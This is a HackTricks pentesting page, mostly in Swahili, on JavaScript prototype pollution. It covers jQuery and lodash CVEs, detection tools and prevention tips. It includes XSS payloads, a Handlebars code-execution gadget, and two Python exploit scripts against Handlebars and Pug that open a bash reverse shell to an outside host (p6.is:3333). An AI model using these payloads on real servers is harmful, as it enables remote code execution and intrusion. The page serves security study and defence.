NodeJS - __proto__ & prototype Pollution

Support HackTricks

Objects in JavaScript

Vitu katika JavaScript ni kwa msingi makusanyo ya funguo-thamani, yanayojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia Object.create na null kama hoja ili kuzalisha kitu kisicho na maudhui. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

An empty object is akin to an empty dictionary, represented as {}.

Functions and Classes in JavaScript

Katika JavaScript, madarasa na kazi zinahusiana kwa karibu, ambapo kazi mara nyingi hutumikia kama wajenzi wa madarasa. Licha ya ukosefu wa msaada wa asili wa darasa katika JavaScript, wajenzi wanaweza kuiga tabia ya darasa.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypes in JavaScript

JavaScript inaruhusu mabadiliko, kuongeza, au kufuta sifa za prototype wakati wa utekelezaji. Uwezo huu unaruhusu upanuzi wa kazi za darasa kwa njia ya dinamik.

Mifunction kama toString na valueOf inaweza kubadilishwa kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa prototype wa JavaScript.

Inheritance

Katika programu inayotegemea prototype, mali/mifano inarithiwa na vitu kutoka kwa madarasa. Madarasa haya yanaundwa kwa kuongeza mali/mifano ama kwa mfano wa darasa lingine au kwa kitu kisicho na kitu.

Inapaswa kuzingatiwa kwamba wakati mali inaongezwa kwa kitu kinachofanya kazi kama prototype kwa vitu vingine (kama myPersonObj), vitu vinavyorithi vinapata ufikiaji wa mali hii mpya. Hata hivyo, mali hii haionekani moja kwa moja isipokuwa itakapoitwa wazi.

__proto__ pollution

Exploring Prototype Pollution in JavaScript

Vitu vya JavaScript vin defined by key-value pairs na vinarithi kutoka kwa prototype ya JavaScript Object. Hii inamaanisha kubadilisha prototype ya Object kunaweza kuathiri vitu vyote katika mazingira.

Hebu tumia mfano tofauti kuonyesha:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Upatikanaji wa prototype ya Object unapatikana kupitia:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Kwa kuongeza mali kwenye prototype ya Object, kila kitu cha JavaScript kitapata urithi wa mali hizi mpya:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

Kwa hali ambapo matumizi ya __proto__ yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Hii inahusisha tu vitu vilivyoundwa kutoka kwa Vehicle constructor, ikiwapa mali za beep, hasWheels, honk, na isElectric.

Njia mbili za kuathiri kwa ujumla vitu vya JavaScript kupitia uchafuzi wa prototype ni pamoja na:

  1. Kuchafua Object.prototype moja kwa moja:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Kuchafulia prototipu ya mjenzi wa muundo unaotumika sana:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Baada ya operesheni hizi, kila kitu cha JavaScript kinaweza kutekeleza goodbye na greet mbinu.

Kuingiza vitu vingine

Kutoka kwa darasa hadi Object.prototype

Katika hali ambapo unaweza kuingiza kitu maalum na unahitaji kufikia Object.prototype unaweza kutafuta kwa kutumia kitu kama kificho kifuatacho:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Array elements pollution

Kumbuka kwamba kadri unavyoweza kuharibu sifa za vitu katika JS, ikiwa una ufikiaji wa kuharibu array unaweza pia kuharibu thamani za array zinazopatikana kwa viashiria (kumbuka kwamba huwezi kuandika upya thamani, hivyo unahitaji kuharibu viashiria ambavyo vinatumika kwa namna fulani lakini havijaandikwa).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

Wakati wa kuunda kipengele cha HTML kupitia JS inawezekana kufuta sifa ya innerHTML ili kufanya iweze kuandika kanuni za HTML zisizo na mpangilio. Wazo na mfano kutoka kwa andiko hili.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Mifano

Mfano wa Msingi

Uchafuzi wa prototype unatokea kutokana na kasoro katika programu inayoruhusu kubadilisha mali kwenye Object.prototype. Hii inamaanisha kwamba kwa sababu vitu vingi vinapata mali zao kutoka Object.prototype

Mfano rahisi ni kuongeza thamani kwenye sifa isiyofafanuliwa ya kitu ambacho kitakaguliwa, kama:

if (user.admin) {

Ikiwa sifa admin haijafafanuliwa inawezekana kutumia PP na kuipatia Thamani ya Kweli kwa kitu kama:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mechanism nyuma ya hii inahusisha kubadilisha mali ili ikiwa mshambuliaji ana udhibiti juu ya ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulation hii kwa kawaida inahusisha kuweka mali ya __proto__, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu.

Masharti ambayo shambulio hili linaweza kutekelezwa kwa mafanikio, kama ilivyoainishwa katika study maalum, ni pamoja na:

  • Kufanya muungano wa kurudi.

  • Kuweka mali kulingana na njia.

  • Kutoa vitu.

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

Mifanozo mingine:

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: Shambulio la prototype pollution kupitia jQuery $ .extend

Kwa maelezo zaidi angalia makala hii Katika jQuery, kazi ya $ .extend inaweza kusababisha prototype pollution ikiwa kipengele cha nakala ya kina kinatumika vibaya. Kazi hii hutumiwa mara nyingi kwa ajili ya kunakili vitu au kuunganisha mali kutoka kwa kitu cha kawaida. Hata hivyo, wakati imewekwa vibaya, mali zinazokusudiwa kwa kitu kipya zinaweza kupewa prototype badala yake. Kwa mfano:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

This vulnerability, identified as CVE-2019–11358, illustrates how a deep copy can inadvertently modify the prototype, leading to potential security risks, such as unauthorized admin access if properties like isAdmin are checked without proper existence verification.

CVE-2018–3721, CVE-2019–10744: Shambulio la uchafuzi wa prototype kupitia lodash

Kwa maelezo zaidi angalia makala hii

Lodash ilikumbana na udhaifu wa uchafuzi wa prototype kama hizo (CVE-2018–3721, CVE-2019–10744). Masuala haya yalishughulikiwa katika toleo 4.17.11.

Mafunzo mengine yenye CVEs

Zana za kugundua Uchafuzi wa Prototype

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa skanning maombi ili kubaini masuala yanayoweza kuwa ya uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js.

  • server-side-prototype-pollution: Kiendelezi hiki kinatambua udhaifu wa uchafuzi wa prototype upande wa seva. Kinatumia mbinu zilizoelezwa katika uchafuzi wa prototype upande wa seva.

Uchafuzi wa Prototype wa AST katika NodeJS

NodeJS inatumia sana Miti ya Sintaksia ya Abstrakti (AST) katika JavaScript kwa kazi kama vile injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa prototype katika injini za templeti, hasa Handlebars na Pug.

Uchambuzi wa Udhaifu wa Handlebars

Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Udhaifu huu unatokana na kazi maalum ndani ya faili ya javascript-compiler.js. Kazi ya appendContent, kwa mfano, inachanganya pendingContent ikiwa ipo, wakati kazi ya pushSource inarejesha pendingContent kuwa undefined baada ya kuongeza chanzo.

Mchakato wa Kutumia

Matumizi yanatumia AST (Miti ya Sintaksia ya Abstrakti) inayozalishwa na Handlebars, ikifuatia hatua hizi:

  1. Manipulation ya Parser: Kwanza, parser, kupitia node ya NumberLiteral, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingiza nyuzi zisizo za nambari.

  2. Kushughulikia na Compiler: Compiler inaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa input.type ni sawa na Program, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumika.

  3. Kuingiza Msimbo: Kupitia manipulation ya Object.prototype, mtu anaweza kuingiza msimbo wowote katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali.

Mfano unaoonyesha matumizi ya udhaifu wa Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Hii nambari inaonyesha jinsi mshambuliaji anaweza kuingiza nambari isiyo na mpangilio katika kiolezo cha Handlebars.

Marejeo ya Nje: Tatizo linalohusiana na uchafuzi wa prototype lilipatikana katika maktaba ya 'flat', kama ilivyoelezwa hapa: Tatizo kwenye GitHub.

Marejeo ya Nje: Tatizo linalohusiana na uchafuzi wa prototype katika maktaba ya 'flat'

Mfano wa unyakuzi wa uchafuzi wa prototype katika Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Vulnerability

Pug, injini nyingine ya kiolezo, inakabiliwa na hatari sawa ya uchafuzi wa prototype. Taarifa za kina zinapatikana katika mjadala kuhusu AST Injection in Pug.

Mfano wa uchafuzi wa prototype katika Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Preventive Measures

Ili kupunguza hatari ya prototype pollution, mikakati iliyoorodheshwa hapa chini inaweza kutumika:

  1. Object Immutability: Object.prototype inaweza kufanywa isiyoweza kubadilishwa kwa kutumia Object.freeze.

  2. Input Validation: Ingizo la JSON linapaswa kuthibitishwa kwa makini dhidi ya muundo wa programu.

  3. Safe Merge Functions: Matumizi yasiyo salama ya kazi za kuunganisha za recursive yanapaswa kuepukwa.

  4. Prototype-less Objects: Vitu bila mali za prototype vinaweza kuundwa kwa kutumia Object.create(null).

  5. Use of Map: Badala ya Object, Map inapaswa kutumika kwa kuhifadhi jozi za funguo-thamani.

  6. Library Updates: Mipango ya usalama inaweza kuingizwa kwa kusasisha maktaba mara kwa mara.

  7. Linter and Static Analysis Tools: Tumia zana kama ESLint pamoja na plugins zinazofaa kugundua na kuzuia udhaifu wa prototype pollution.

  8. Code Reviews: Tekeleza ukaguzi wa kina wa msimbo ili kubaini na kurekebisha hatari zinazoweza kuhusiana na prototype pollution.

  9. Security Training: Wafundishe waendelezaji kuhusu hatari za prototype pollution na mbinu bora za kuandika msimbo salama.

  10. Using Libraries with Caution: Kuwa makini unapokuwa ukitumia maktaba za watu wengine. Kadiria hali yao ya usalama na ukaguzi wa msimbo wao, hasa wale wanaoshughulikia vitu.

  11. Runtime Protection: Tumia mitambo ya ulinzi wa wakati wa utekelezaji kama vile kutumia pakiti za npm zinazolenga usalama ambazo zinaweza kugundua na kuzuia mashambulizi ya prototype pollution.

References

Support HackTricks

Last updated